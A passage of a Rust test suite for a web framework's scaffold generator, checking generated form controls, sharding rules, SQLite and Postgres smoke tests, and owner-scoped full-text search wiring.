assert_eq!(bytea_to_hex(&[]), \"\\\\x\");\n\
assert_eq!(bytea_from_hex(\" \").unwrap(), Vec::<u8>::new());\n\
for bad in [\"00ff\", \"\\\\x0\", \"\\\\xzz\", \"\\\\x+f\", \"\\\\xé0\", \"\\\\x0é\", \"0x00\"] {{\n\
assert!(bytea_from_hex(bad).is_err(), \"{{bad:?}} must be rejected\");\n\
}}\n\
}}\n"
);
let dir = tempfile::tempdir().unwrap();
let src = dir.path().join("hex.rs");
let bin = dir
.path()
.join("hex_bin")
.with_extension(std::env::consts::EXE_EXTENSION);
fs::write(&src, program).unwrap();
let build = std::process::Command::new("rustc")
.args(["--edition", "2021", "-D", "warnings", "-o"])
.arg(&bin)
.arg(&src)
.output()
.expect("rustc must be on PATH");
assert!(
build.status.success(),
"helpers must compile warning-free:\n{}",
String::from_utf8_lossy(&build.stderr)
);
let run = std::process::Command::new(&bin).output().unwrap();
assert!(
run.status.success(),
"helper round trip failed:\n{}",
String::from_utf8_lossy(&run.stderr)
);
}
#[test]
fn execute_writes_number_input_value_on_edit_form() {
let tmp = project_with_main(default_main());
let plan = plan_scaffold(
tmp.path(),
"Post",
&["title:String".into(), "views:i64".into()],
"20260427000000",
)
.unwrap();
plan.execute(Flags::default()).unwrap();
let routes = fs::read_to_string(tmp.path().join("src/routes/posts.rs")).unwrap();
// The edit form seeds the changeset from the row; the number control
// (from the derived `FormModel` descriptors) reads the value back
// through `form_for` (issues #1124/#1135).
assert!(routes.contains("views: row.views.to_string(),"), "{routes}");
}
#[test]
fn execute_writes_datetime_local_input_for_naive_datetime_field() {
let tmp = project_with_main(default_main());
let plan = plan_scaffold(
tmp.path(),
"Post",
&["title:String".into(), "published_at:NaiveDateTime".into()],
"20260427000000",
)
.unwrap();
plan.execute(Flags::default()).unwrap();
let routes = fs::read_to_string(tmp.path().join("src/routes/posts.rs")).unwrap();
// Datetime fields map to a datetime-local control in the derived
// `FormModel` descriptors (issue #1135) — no per-field helper line
// and no `form_for` override needed in the routes file.
assert!(
!routes.contains("autumn_web::form::required_datetime_input(&changeset"),
"{routes}"
);
assert!(
!routes.contains(".override_field(\"published_at\""),
"datetime fields need no form_for override: {routes}"
);
assert!(
!routes.contains("input type=\"text\" name=\"published_at\""),
"{routes}"
);
// On the form the field is a String (the browser wire shape); it's
// parsed back into the model type in `into_new`.
assert!(routes.contains("pub published_at: String,"), "{routes}");
assert!(
routes.contains("published_at: parse_local_datetime(&form.published_at)?,"),
"{routes}"
);
// The edit-form seed formats the row's timestamp for the datetime-local
// control, preserving fractional seconds so a no-op resubmit doesn't
// truncate the stored value (the update handler writes every column
// back unconditionally).
assert!(
routes.contains(
"published_at: row.published_at.format(\"%Y-%m-%dT%H:%M:%S%.f\").to_string(),"
),
"{routes}"
);
}
#[test]
fn execute_writes_datetime_local_input_for_tz_datetime_field() {
let tmp = project_with_main(default_main());
let plan = plan_scaffold(
tmp.path(),
"Post",
&["title:String".into(), "scheduled_at:DateTime".into()],
"20260427000000",
)
.unwrap();
plan.execute(Flags::default()).unwrap();
let routes = fs::read_to_string(tmp.path().join("src/routes/posts.rs")).unwrap();
// The datetime-local control comes from the derived `FormModel`
// descriptors (issue #1135) — no per-field line or override needed.
assert!(
!routes.contains(".override_field(\"scheduled_at\""),
"{routes}"
);
assert!(routes.contains("pub scheduled_at: String,"), "{routes}");
// A tz-aware field parses to naive-local then attaches UTC.
assert!(
routes.contains("scheduled_at: parse_local_datetime(&form.scheduled_at)?.and_utc(),"),
"{routes}"
);
}
#[test]
fn execute_writes_datetime_local_input_for_nullable_datetime_field() {
let tmp = project_with_main(default_main());
let plan = plan_scaffold(
tmp.path(),
"Post",
&[
"title:String".into(),
"published_at:Option<NaiveDateTime>".into(),
],
"20260427000000",
)
.unwrap();
plan.execute(Flags::default()).unwrap();
let routes = fs::read_to_string(tmp.path().join("src/routes/posts.rs")).unwrap();
// Nullable datetime is an Option<String> on the form, parsed only when
// non-empty in `into_new` (issue #1124).
assert!(
routes.contains("pub published_at: Option<String>,"),
"{routes}"
);
assert!(
routes.contains("form.published_at.as_deref().filter(|value| !value.is_empty())"),
"{routes}"
);
// The old serde deserialize-with helpers are no longer needed.
assert!(
!routes.contains("fn deserialize_option_naive_datetime_local"),
"{routes}"
);
}
#[test]
fn execute_writes_text_input_only_for_genuine_string_fields() {
let tmp = project_with_main(default_main());
let plan = plan_scaffold(
tmp.path(),
"Post",
&[
"title:String".into(),
"body:Text".into(),
"active:bool".into(),
"views:i64".into(),
"published_at:NaiveDateTime".into(),
],
"20260427000000",
)
.unwrap();
plan.execute(Flags::default()).unwrap();
let routes = fs::read_to_string(tmp.path().join("src/routes/posts.rs")).unwrap();
// Control selection per kind (text vs checkbox vs number vs
// datetime-local, required or not) lives in the derived `FormModel`
// descriptors (issue #1135): the routes file renders everything
// through the single shared `form_for` helper, with no per-field
// helper lines and no overrides for these plain kinds.
assert!(routes.contains("fn post_form_for("), "{routes}");
for helper in [
"text_input",
"required_text_input",
"checkbox_input",
"required_number_input",
"required_datetime_input",
] {
assert!(
!routes.contains(&format!("autumn_web::form::{helper}(&changeset")),
"no per-field {helper} lines may remain: {routes}"
);
}
assert!(!routes.contains(".override_field("), "{routes}");
// No hand-rolled bare text inputs remain for the non-string fields.
assert!(
!routes.contains("input type=\"text\" name=\"active\""),
"{routes}"
);
assert!(
!routes.contains("input type=\"text\" name=\"views\""),
"{routes}"
);
assert!(
!routes.contains("input type=\"text\" name=\"published_at\""),
"{routes}"
);
}
#[test]
fn plan_scaffold_api_only_skips_html() {
let tmp = project_with_main(default_main());
let plan = plan_scaffold_with_options(
tmp.path(),
"Post",
&["title:String".into()],
"20260427000000",
&ScaffoldOptions {
api: true,
..Default::default()
},
)
.unwrap();
let paths: Vec<String> = plan
.actions
.iter()
.map(|a| {
a.path()
.strip_prefix(&plan.project_root)
.unwrap()
.display()
.to_string()
.replace('\\', "/")
})
.collect();
assert!(!paths.iter().any(|p| p.contains("src/routes/posts.rs")));
assert!(!paths.iter().any(|p| p.contains("src/routes/mod.rs")));
}
#[test]
fn plan_scaffold_api_only_mounts_all_five_json_endpoints() {
let tmp = project_with_main(default_main());
let plan = plan_scaffold_with_options(
tmp.path(),
"Post",
&["title:String".into()],
"20260427000000",
&ScaffoldOptions {
api: true,
..Default::default()
},
)
.unwrap();
plan.execute(Flags::default()).unwrap();
let main = fs::read_to_string(tmp.path().join("src/main.rs")).unwrap();
assert!(main.contains("repositories::post::post_api_create"));
assert!(main.contains("repositories::post::post_api_update"));
assert!(main.contains("repositories::post::post_api_delete"));
assert!(main.contains("repositories::post::post_api_list"));
assert!(main.contains("repositories::post::post_api_get"));
assert!(!main.contains("routes::posts::index"));
}
// ── sharding tests ─────────────────────────────────────────────────────
fn sharded_options_with_key(key: &str) -> ScaffoldOptions {
ScaffoldOptions {
model: ModelOptions {
sharded: true,
shard_key: Some(key.into()),
..Default::default()
},
..Default::default()
}
}
#[test]
fn resolves_shard_key_explicit_field() {
let fields = parse_fields(&["tenant_id:i64".into(), "name:String".into()]).unwrap();
let opts = ModelOptions {
sharded: true,
shard_key: Some("tenant_id".into()),
..Default::default()
};
let key = resolve_shard_key(&fields, &opts).unwrap();
assert_eq!(key, Some("tenant_id".to_owned()));
}
#[test]
fn resolves_shard_key_explicit_id() {
let fields = parse_fields(&["name:String".into()]).unwrap();
let opts = ModelOptions {
sharded: true,
shard_key: Some("id".into()),
..Default::default()
};
let key = resolve_shard_key(&fields, &opts).unwrap();
assert_eq!(key, Some("id".to_owned()));
}
#[test]
fn resolves_shard_key_invalid_field_errors() {
let fields = parse_fields(&["name:String".into()]).unwrap();
let opts = ModelOptions {
sharded: true,
shard_key: Some("bogus".into()),
..Default::default()
};
assert!(
resolve_shard_key(&fields, &opts).is_err(),
"unknown shard_key field must return an error"
);
}
#[test]
fn resolves_shard_key_defaults_to_tenant_id_when_present() {
let fields = parse_fields(&["tenant_id:i64".into(), "name:String".into()]).unwrap();
let opts = ModelOptions {
sharded: true,
shard_key: None,
..Default::default()
};
let key = resolve_shard_key(&fields, &opts).unwrap();
assert_eq!(key, Some("tenant_id".to_owned()));
}
#[test]
fn resolves_shard_key_defaults_to_id_when_no_tenant_id() {
let fields = parse_fields(&["name:String".into()]).unwrap();
let opts = ModelOptions {
sharded: true,
shard_key: None,
..Default::default()
};
let key = resolve_shard_key(&fields, &opts).unwrap();
assert_eq!(key, Some("id".to_owned()));
}
#[test]
fn resolves_shard_key_none_when_not_sharded() {
let fields = parse_fields(&["tenant_id:i64".into()]).unwrap();
let opts = ModelOptions {
sharded: false,
shard_key: None,
..Default::default()
};
let key = resolve_shard_key(&fields, &opts).unwrap();
assert!(key.is_none());
}
#[test]
fn routes_use_sharded_db_when_sharded() {
let tmp = project_with_main(default_main());
let plan = plan_scaffold_with_options(
tmp.path(),
"Account",
&["tenant_id:i64".into(), "name:String".into()],
"20260427000000",
&sharded_options_with_key("tenant_id"),
)
.unwrap();
plan.execute(Flags::default()).unwrap();
let routes = fs::read_to_string(tmp.path().join("src/routes/accounts.rs")).unwrap();
// ShardedDb must be imported from the correct path (not crate root).
assert!(
routes.contains("use autumn_web::sharding::ShardedDb;"),
"sharded routes must import ShardedDb from autumn_web::sharding: {routes}"
);
// Db must NOT appear in the brace-import or as a handler param type.
assert!(
!routes.contains("mut db: Db"),
"sharded routes must not use Db extractor: {routes}"
);
// ShardedDb must be used in handler signatures.
assert!(
routes.contains("mut db: ShardedDb"),
"sharded routes must use ShardedDb in handler signatures: {routes}"
);
// index must call from_shard explicitly for a literal proof.
assert!(
routes.contains("from_shard(&db)"),
"sharded index handler must call from_shard(&db): {routes}"
);
}
/// `generate scaffold --sharded` on a `SQLite` app is rejected via the
/// shared `plan_model_with_options` gate (issue #1614 AC #4) — sharding is
/// permanently Postgres-only, so scaffold must refuse it the same way the
/// model generator does. Proves one gate covers both entry points.
#[test]
fn scaffold_sharded_on_sqlite_app_is_rejected_as_postgres_only() {
temp_env::with_vars(
[
("AUTUMN_DATABASE__PRIMARY_URL", None::<&str>),
("AUTUMN_DATABASE__URL", None::<&str>),
("DATABASE_URL", None::<&str>),
],
|| {
let tmp = project_with_main(default_main());
fs::write(
tmp.path().join("autumn.toml"),
"[database]\nprimary_url = \"sqlite://app.db\"\n",
)
.unwrap();
let err = plan_scaffold_with_options(
tmp.path(),
"Account",
&["tenant_id:i64".into(), "name:String".into()],
"20260427000000",
&sharded_options_with_key("tenant_id"),
)
.unwrap_err();
let msg = err.to_string();
assert!(
matches!(err, GenerateError::Config(_)),
"expected Config error, got: {err:?}"
);
assert!(
msg.contains("Postgres") && msg.contains("--sharded"),
"scaffold --sharded on SQLite must be rejected as Postgres-only: {msg}"
);
},
);
}
/// Plan a scaffold for a `SQLite` app and return the smoke test source.
fn sqlite_smoke_test(args: &[&str], api: bool) -> (Vec<String>, String) {
let mut out = (Vec::new(), String::new());
temp_env::with_vars(
[
("AUTUMN_DATABASE__PRIMARY_URL", None::<&str>),
("AUTUMN_DATABASE__URL", None::<&str>),
("DATABASE_URL", None::<&str>),
],
|| {
let tmp = project_with_main(default_main());
fs::write(
tmp.path().join("autumn.toml"),
"[database]\nprimary_url = \"sqlite://app.db\"\n",
)
.unwrap();
let fields: Vec<String> = args.iter().map(|a| (*a).to_owned()).collect();
let options = ScaffoldOptions {
api,
..Default::default()
};
let plan = plan_scaffold_with_options(
tmp.path(),
"Post",
&fields,
"20260427000000",
&options,
)
.unwrap();
let test = plan
.actions
.iter()
.find_map(|a| match a {
Action::Create { path, contents } if path.ends_with("tests/post.rs") => {
Some(contents.clone())
}
_ => None,
})
.expect("smoke test is planned");
out = (plan.warnings, test);
},
);
out
}
/// A `SQLite` scaffold has a `SQLite`-native smoke test (issue #2555). It
/// needs no Docker, so it is not `#[ignore]`d, and the generator no longer
/// warns that `cargo test` cannot compile.
#[test]
fn sqlite_scaffold_smoke_test_is_native() {
let (warnings, test) = sqlite_smoke_test(&["title:String"], false);
assert!(
!warnings.iter().any(|w| w.contains("TestDb")),
"no TestDb warning on SQLite: {warnings:?}"
);
assert!(test.contains("db.reset_table(\"posts\")"), "{test}");
assert!(!test.contains("TRUNCATE"), "{test}");
assert!(!test.contains("#[ignore"), "{test}");
assert!(!test.contains("Docker"), "{test}");
assert!(!test.contains("Postgres"), "{test}");
assert!(!test.contains("BIGSERIAL"), "{test}");
assert!(test.contains("INTEGER PRIMARY KEY AUTOINCREMENT"), "{test}");
}
/// Each `SQLite` smoke test gets its own database. The tests are not
/// `#[ignore]`d, so they run in parallel in one binary. A shared database
/// would let one test's `CREATE TABLE` or `reset_table` break another's.
#[test]
fn sqlite_scaffold_smoke_tests_each_get_their_own_database() {
let (_, test) = sqlite_smoke_test(
&["name:String:unique", "status:enum{draft,published}"],
false,
);
assert!(test.contains("TestDb::new().await"), "{test}");
assert!(!test.contains("TestDb::shared()"), "{test}");
}
/// Every Postgres-only construct in the smoke SQL has a `SQLite` form.
#[test]
fn sqlite_scaffold_smoke_sql_has_no_postgres_syntax() {
let (_, test) = sqlite_smoke_test(
&[
"title:String:unique",
"owner:Uuid",
"at:DateTime",
"blob:Bytea",
"payload:json",
"ratio:f64",
"status:enum{draft,published}",
],
false,
);
for banned in [
"::jsonb",
"::uuid",
"::bytea",
"::timestamp",
"::double",
"::interval",
"NOW()",
"gen_random_uuid",
"generate_series",
"BIGSERIAL",
"TRUNCATE",
] {
assert!(
!test.contains(banned),
"`{banned}` in SQLite smoke test:\n{test}"
);
}
assert!(test.contains("rejects_duplicate_title"), "{test}");
assert!(test.contains("rejects_out_of_set_status"), "{test}");
assert!(test.contains("a real SQLite unique_violation"), "{test}");
}
/// The `--api` smoke test seeds rows with a recursive CTE on `SQLite`.
#[test]
fn sqlite_api_scaffold_smoke_test_seeds_with_a_recursive_cte() {
let (_, test) = sqlite_smoke_test(&["title:String"], true);
assert!(test.contains("WITH RECURSIVE g(g)"), "{test}");
assert!(test.contains("CAST(id AS TEXT)"), "{test}");
assert!(!test.contains("id::text"), "{test}");
assert!(!test.contains("#[ignore"), "{test}");
}
/// Postgres keeps its Docker-gated smoke test.
#[test]
fn postgres_scaffold_smoke_test_stays_ignored() {
let tmp = project_with_main(default_main());
let plan = plan_scaffold(
tmp.path(),
"Post",
&["title:String".into()],
"20260427000000",
)
.unwrap();
let test = plan
.actions
.iter()
.find_map(|a| match a {
Action::Create { path, contents } if path.ends_with("tests/post.rs") => {
Some(contents.clone())
}
_ => None,
})
.expect("smoke test is planned");
assert!(test.contains("#[ignore = \"requires Docker"), "{test}");
assert!(test.contains("TestDb::shared().await"), "{test}");
assert!(
test.contains("db.execute_sql(\"TRUNCATE posts RESTART IDENTITY\")"),
"{test}"
);
assert!(test.contains("BIGSERIAL PRIMARY KEY"), "{test}");
}
#[test]
fn routes_use_db_when_not_sharded() {
let tmp = project_with_main(default_main());
let plan = plan_scaffold(
tmp.path(),
"Post",
&["title:String".into()],
"20260427000000",
)
.unwrap();
plan.execute(Flags::default()).unwrap();
let routes = fs::read_to_string(tmp.path().join("src/routes/posts.rs")).unwrap();
assert!(
routes.contains("mut db: Db"),
"non-sharded routes must still use Db"
);
assert!(
!routes.contains("ShardedDb"),
"non-sharded routes must not reference ShardedDb"
);
}
#[test]
fn repository_notes_sharded() {
let rendered = render_repository_file(
"Account",
"account",
&[],
false,
false,
true,
false,
false,
None,
None,
);
assert!(
rendered.contains("shard-aware"),
"sharded repository doc must mention shard-aware: {rendered}"
);
assert!(
rendered.contains("from_shard"),
"sharded repository doc must mention from_shard: {rendered}"
);
}
#[test]
fn repository_notes_api_sharded_caveat() {
let rendered = render_repository_file(
"Account",
"account",
&[],
false,
true,
true,
false,
false,
None,
None,
);
assert!(
rendered.contains("control pool"),
"sharded api repository doc must note control pool: {rendered}"
);
}
#[test]
fn repository_no_sharded_note_when_not_sharded() {
let rendered = render_repository_file(
"Post",
"post",
&[],
false,
false,
false,
false,
false,
None,
None,
);
assert!(
!rendered.contains("shard-aware"),
"non-sharded repository must not mention shard-aware: {rendered}"
);
}
#[test]
fn plan_scaffold_api_only_emits_json_smoke_test() {
let tmp = project_with_main(default_main());
let plan = plan_scaffold_with_options(
tmp.path(),
"Post",
&["title:String".into(), "published:bool".into()],
"20260427000000",
&ScaffoldOptions {
api: true,
..Default::default()
},
)
.unwrap();
plan.execute(Flags::default()).unwrap();
let test_file = fs::read_to_string(tmp.path().join("tests/post.rs")).unwrap();
assert!(test_file.contains("/api/posts"));
assert!(
test_file.contains("autumn_web::test::{TestApp, TestClient, TestDb}"),
"api smoke test must use the in-process harness: {test_file}"
);
assert!(!test_file.contains("TcpStream"));
assert!(!test_file.contains("AUTUMN_TEST_BASE_URL"));
assert!(
test_file.contains("#[ignore = \"requires Docker"),
"DB-backed api smoke test must be explicitly ignored with a reason: {test_file}"
);
assert!(!test_file.contains("contains(\"Posts\")"));
// With a required column (`title:String`), the seed drives 25 rows off
// a single `generate_series` and must NOT fall back to `DEFAULT VALUES`
// (which cannot satisfy the `NOT NULL` column).
assert!(
test_file.contains("FROM generate_series(1, 25) AS g"),
"required-column seed must use generate_series: {test_file}"
);
assert!(
!test_file.contains("INSERT INTO posts DEFAULT VALUES"),
"required-column seed must not fall back to DEFAULT VALUES: {test_file}"
);
}
#[test]
fn plan_scaffold_api_only_seeds_default_rows_when_no_required_columns() {
// Regression (PR #1707 review): a model with no required (NOT NULL,
// no-default) column must still seed 25 rows. The old fix degenerated
// to a targetless `INSERT INTO <plural> SELECT FROM generate_series`,
// which is INVALID Postgres — a zero-column SELECT is matched against
// every column (id included) and fails with a column-count mismatch.
// The seed must instead emit 25 valid all-default `DEFAULT VALUES`
// inserts, one per `db.execute_sql(...)` call.
let tmp = project_with_main(default_main());
let plan = plan_scaffold_with_options(
tmp.path(),
"Widget",
&["label:Option<String>".into()],
"20260427000000",
&ScaffoldOptions {
api: true,
..Default::default()
},
)
.unwrap();
plan.execute(Flags::default()).unwrap();
let test_file = fs::read_to_string(tmp.path().join("tests/widget.rs")).unwrap();
assert!(test_file.contains("/api/widgets"));
// The invalid targetless form must never be emitted.
assert!(
!test_file.contains("SELECT FROM generate_series"),
"must not emit the invalid targetless generate_series seed: {test_file}"
);
assert!(
!test_file.contains("generate_series"),
"no-required-column seed must not use generate_series at all: {test_file}"
);
// Exactly 25 valid all-default inserts, each in its own execute_sql call.
assert_eq!(
test_file
.matches("db.execute_sql(\"INSERT INTO widgets DEFAULT VALUES;\").await;")
.count(),
25,
"expected 25 DEFAULT VALUES inserts (one per row): {test_file}"
);
// Envelope assertions stay consistent with a 25-row seed at size = 2.
assert!(test_file.contains("total_elements\"], 25"));
assert!(test_file.contains("total_pages\"], 13"));
}
// ── data_table scaffold integration ────────────────────────────────
#[test]
fn index_uses_data_table_not_ul() {
let tmp = project_with_main(default_main());
let plan = plan_scaffold(
tmp.path(),
"Post",
&[
"title:String".into(),
"body:Text".into(),
"published:bool".into(),
],
"20260427000000",
)
.unwrap();
plan.execute(Flags::default()).unwrap();
let routes = fs::read_to_string(tmp.path().join("src/routes/posts.rs")).unwrap();
assert!(routes.contains("data_table("), "{routes}");
assert!(routes.contains("DataTableConfig::new("), "{routes}");
assert!(routes.contains("Column::new(\"Title\""), "{routes}");
assert!(
!routes.contains("ul id=\"posts-list\""),
"still uses ul: {routes}"
);
}
/// Issue #1319 AC4: with `--searchable` omitted, threading an empty
/// `searchable` set through the generator produces output byte-for-byte
/// identical to today's default scaffold (the flag is purely additive).
#[test]
fn searchable_omitted_is_byte_identical_to_default() {
let fields = ["title:String".to_string(), "body:Text".to_string()];
let tmp_default = project_with_main(default_main());
plan_scaffold(tmp_default.path(), "Post", &fields, "20260427000000")
.unwrap()
.execute(Flags::default())
.unwrap();
let tmp_empty = project_with_main(default_main());
plan_scaffold_with_options(
tmp_empty.path(),
"Post",
&fields,
"20260427000000",
&ScaffoldOptions {
model: ModelOptions {
searchable: Vec::new(),
..Default::default()
},
..Default::default()
},
)
.unwrap()
.execute(Flags::default())
.unwrap();
for rel in [
"src/routes/posts.rs",
"src/models/post.rs",
"src/repositories/post.rs",
"migrations/20260427000000_create_posts/up.sql",
"migrations/20260427000000_create_posts/down.sql",
"src/main.rs",
] {
let a = fs::read_to_string(tmp_default.path().join(rel)).unwrap();
let b = fs::read_to_string(tmp_empty.path().join(rel)).unwrap();
assert_eq!(a, b, "empty --searchable must not change `{rel}`");
assert!(
!b.contains("searchable")
&& !b.contains("active_search")
&& !b.contains("search_vector"),
"non-searchable `{rel}` must carry no FTS artifacts:\n{b}"
);
}
}
/// Issue #1319 AC5: naming a non-text field in `--searchable` fails
/// generation with a clear, field-naming error rather than emitting a model
/// that won't compile.
#[test]
fn searchable_non_text_field_is_rejected() {
let tmp = project_with_main(default_main());
let err = plan_scaffold_with_options(
tmp.path(),
"Post",
&["title:String".into(), "views:i64".into()],
"20260427000000",
&ScaffoldOptions {
model: ModelOptions {
searchable: vec!["views".into()],
..Default::default()
},
..Default::default()
},
)
.unwrap_err();
let msg = err.to_string();
assert!(
matches!(err, GenerateError::Config(_)),
"expected Config error, got: {err:?}"
);
assert!(
msg.contains("views") && (msg.contains("text") || msg.contains("String")),
"error must name the offending field and mention text-only: {msg}"
);
}
/// Issue #1319: a `--searchable` scaffold with a uuid primary key is
/// rejected before any files are written. The scaffold command already gates
/// off ALL uuid primary keys (the `#[repository]` REST API is i64-only), so
/// this combination surfaces that broader gate; a metadata-layer guard in
/// `parse_model_metadata` (see `model.rs`) is the defense-in-depth backstop
/// specific to the FTS `search_page` i64 hardcoding.
#[test]
fn searchable_with_uuid_primary_key_is_rejected() {
let tmp = project_with_main(default_main());
let err = plan_scaffold_with_options(
tmp.path(),
"Post",
&["title:String".into(), "body:Text".into()],
"20260427000000",
&ScaffoldOptions {
model: ModelOptions {
searchable: vec!["title".into(), "body".into()],
id_type: IdType::Uuid,
..Default::default()
},
..Default::default()
},
)
.unwrap_err();
assert!(
matches!(err, GenerateError::Config(_)),
"expected Config error, got: {err:?}"
);
assert!(
err.to_string().to_lowercase().contains("uuid"),
"error must name uuid as unsupported: {err}"
);
// No files written: the scaffold plan fails before touching the tree.
assert!(
!tmp.path().join("src/models/post.rs").exists()
&& !tmp.path().join("src/repositories/post.rs").exists(),
"rejected uuid+searchable scaffold must not write any files"
);
}
/// Issue #1841: `--searchable` on a standard owner-scoped model is now
/// ALLOWED (was rejected pre-#1841). The repository macro carries the
/// `owner = <col>` attr so it emits owner-filtered `list_scoped` /
/// `search_page_scoped`, and the generated index + `/search` handlers call
/// ONLY those scoped methods — never the unscoped `page`/`search_page` — so
/// no cross-user leak. This test asserts that safe wiring is emitted.
#[test]
fn searchable_with_owner_scoped_model_emits_scoped_wiring() {
let tmp = project_with_main(default_main());
// `user_id` is an owner column, so the default policy makes the index
// owner-scoped (`authorize_wiring`). Pairing that with `--searchable`
// is now supported via the macro's owner-scoped codegen.
let plan = plan_scaffold_with_options(
tmp.path(),
"Post",
&[
"user_id:i64".into(),
"title:String".into(),
"body:Text".into(),
],
"20260427000000",
&ScaffoldOptions {
model: ModelOptions {
searchable: vec!["title".into(), "body".into()],
..Default::default()
},
..Default::default()
},
)
.expect("standard owner-scoped + searchable must be allowed (#1841)");
plan.execute(Flags::default()).unwrap();
// The repository declares `owner = user_id` so the macro generates the
// scoped methods.
let repo = fs::read_to_string(tmp.path().join("src/repositories/post.rs")).unwrap();
assert!(
repo.contains(", owner = user_id"),
"owner-scoped repository must carry `owner = user_id` on the attr: {repo}"
);
// Warden 2026-09-13: `owner = ...` alone does not gate `api = "..."`'s
// CRUD routes — the scaffold must also wire in the generated policy.
assert!(
repo.contains(", policy = PostPolicy)")
&& repo.contains("use crate::policies::post::PostPolicy;"),
"owner-scoped repository must also carry `policy = ...` or it no longer compiles: {repo}"
);
let routes = fs::read_to_string(tmp.path().join("src/routes/posts.rs")).unwrap();
// The `/search` route uses the scoped method (and its empty-query
// fallback the scoped list) — never the unscoped `search_page`/`page`.
assert!(
routes.contains("repo.search_page_scoped(owner_id, q, &page_req)"),
"owner-scoped /search must call search_page_scoped: {routes}"
);
// The owner-scoped index uses the scoped list with sort/filter.
assert!(
routes.contains("repo.list_scoped(owner_id, &list_query, &page_req)"),
"owner-scoped index/search must call list_scoped: {routes}"
);
// Sort/filter data_table wiring is present on the owner-scoped standard
// index (active_sort / query), closing the #1854 gap.
assert!(
routes.contains(".active_sort(list_query.sort().unwrap_or_default())"),
"owner-scoped standard index must render the sort/filter data_table: {routes}"
);
// The search box is rendered on the owner-scoped index.
assert!(
routes.contains("active_search_input"),
"owner-scoped searchable index must render the search box: {routes}"
);
}
/// Issue #1841 security invariant: the owner-scoped `/search` and index
/// branches must NEVER call the unscoped repository methods, or they would
/// re-open the pre-#1841 cross-user leak. This is the regression guard: the
/// `search`/`index` handler bodies must not contain a bare
/// `repo.search_page(`/`repo.page(` call.
#[test]
fn owner_scoped_searchable_never_calls_unscoped_repo_methods() {
let tmp = project_with_main(default_main());
let plan = plan_scaffold_with_options(
tmp.path(),
"Post",
&[
"user_id:i64".into(),
"title:String".into(),
"body:Text".into(),
],
"20260427000000",
&ScaffoldOptions {
model: ModelOptions {
searchable: vec!["title".into(), "body".into()],
..Default::default()
},
..Default::default()
},
)
.unwrap();
plan.execute(Flags::default()).unwrap();
let routes = fs::read_to_string(tmp.path().join("src/routes/posts.rs")).unwrap();
assert!(
!routes.contains("repo.search_page(") && !routes.contains("repo.page("),
"owner-scoped searchable routes must NEVER call the unscoped \
repo.search_page(/repo.page( (cross-user leak): {routes}"
);
}
/// The owner-scoped guard is scoped to owner scoping: `--no-policy` opts out
/// of the secured index, so `--searchable` with an owner column is allowed
/// (index and search are both unscoped — consistent, no leak relative to the
/// list view).
#[test]
fn searchable_with_owner_column_but_no_policy_is_allowed() {
let tmp = project_with_main(default_main());
let plan = plan_scaffold_with_options(
tmp.path(),
"Post",
&[
"user_id:i64".into(),
"title:String".into(),
"body:Text".into(),
],
"20260427000000",
&ScaffoldOptions {
model: ModelOptions {
searchable: vec!["title".into(), "body".into()],
..Default::default()
},
no_policy: true,
..Default::default()
},
);
assert!(
plan.is_ok(),
"--searchable + owner column + --no-policy must be allowed: {plan:?}"
);
}
/// Issue #1319 AC5: naming a field that does not exist in `--searchable`
/// fails generation with a clear error.
#[test]
fn searchable_unknown_field_is_rejected() {
let tmp = project_with_main(default_main());
let err = plan_scaffold_with_options(
tmp.path(),
"Post",
&["title:String".into()],
"20260427000000",
&ScaffoldOptions {
model: ModelOptions {
searchable: vec!["nope".into()],
..Default::default()
},
..Default::default()
},
)
.unwrap_err();
assert!(
matches!(err, GenerateError::Config(_)),
"expected Config error, got: {err:?}"
);
assert!(
err.to_string().contains("nope"),
"must name the field: {err}"
);
}
/// Issue #1319 AC1/AC3/AC6: a `--searchable` scaffold wires the model,
/// repository, migration, and index/search route coherently.
#[test]
fn searchable_scaffold_wires_model_repo_and_index() {
let tmp = project_with_main(default_main());
plan_scaffold_with_options(
tmp.path(),
"Post",
&["title:String".into(), "body:Text".into()],
"20260427000000",
&ScaffoldOptions {
model: ModelOptions {
searchable: vec!["title".into(), "body".into()],
..Default::default()
},
..Default::default()
},
)
.unwrap()
.execute(Flags::default())
.unwrap();
let model = fs::read_to_string(tmp.path().join("src/models/post.rs")).unwrap();
assert!(
model.contains("#[searchable(language = \"english\")]"),
"model must opt into search: {model}"
);
assert!(
model.contains("#[searchable(weight = \"A\")]")
&& model.contains("#[searchable(weight = \"B\")]"),
"each named text field must be weighted: {model}"
);
let repo = fs::read_to_string(tmp.path().join("src/repositories/post.rs")).unwrap();
assert!(
repo.contains("api = \"/api/posts\", searchable)"),
"repository must carry `searchable`: {repo}"
);
let up = fs::read_to_string(
tmp.path()
.join("migrations/20260427000000_create_posts/up.sql"),
)
.unwrap();
assert!(
up.contains("search_vector tsvector") && up.contains("USING gin(search_vector)"),
"migration must add the generated column + GIN index: {up}"
);
let routes = fs::read_to_string(tmp.path().join("src/routes/posts.rs")).unwrap();
// Input-only `active_search_input` (the composite `active_search` would
// render its own empty results container — a duplicate id).
assert!(
routes.contains("active_search_input(\"post-search\"")
&& !routes.contains("widgets::active_search(\"post-search\"")
&& routes.contains("\"/posts/search\", \"#posts-search-results\""),
"index must render the input-only search box wired to the results route: {routes}"
);
// The `active_search` target must exist as a real element that renders
// the initial list server-side (no `.initial_load()` AJAX round-trip, no
// `<noscript>` fallback wrapper), exactly once on the index page.
assert!(
routes.contains("div id=\"posts-search-results\"")
&& !routes.contains(".initial_load(")
&& !routes.contains("noscript"),
"index must render the results container server-side without initial_load/noscript: {routes}"
);
let index_fn = routes
.split("pub async fn index(")
.nth(1)
.and_then(|s| s.split("pub async fn ").next())
.expect("an index handler must be emitted");
assert_eq!(
index_fn.matches("id=\"posts-search-results\"").count(),
1,
"the index page must render the results container exactly once: {index_fn}"
);
assert!(
routes.contains("pub async fn search(")
&& routes.contains("repo.search_page(q, &page_req)"),
"a search results handler must call search_page: {routes}"
);
// The results pager must preserve the request query (so `q` survives
// pagination) instead of pointing at a bare `/posts/search`.
assert!(
routes.contains("PagerOptions::new(\"/posts/search\").query(pager_query)"),
"search pager must preserve the query string across pages: {routes}"
);
assert!(
routes.contains("repo.page(&page_req).await?"),
"empty q must fall back to page(): {routes}"
);
let main_rs = fs::read_to_string(tmp.path().join("src/main.rs")).unwrap();
assert!(
main_rs.contains("routes::posts::search"),
"search route must be registered in main.rs: {main_rs}"
);
}
/// Issue #1319: `search_vector` is a stored generated column, so it must NOT
/// leak into `schema.rs` or the model struct (the macro loads rows by id).
#[test]
fn searchable_column_is_not_in_schema_or_struct() {
let tmp = project_with_main(default_main());
plan_scaffold_with_options(
tmp.path(),
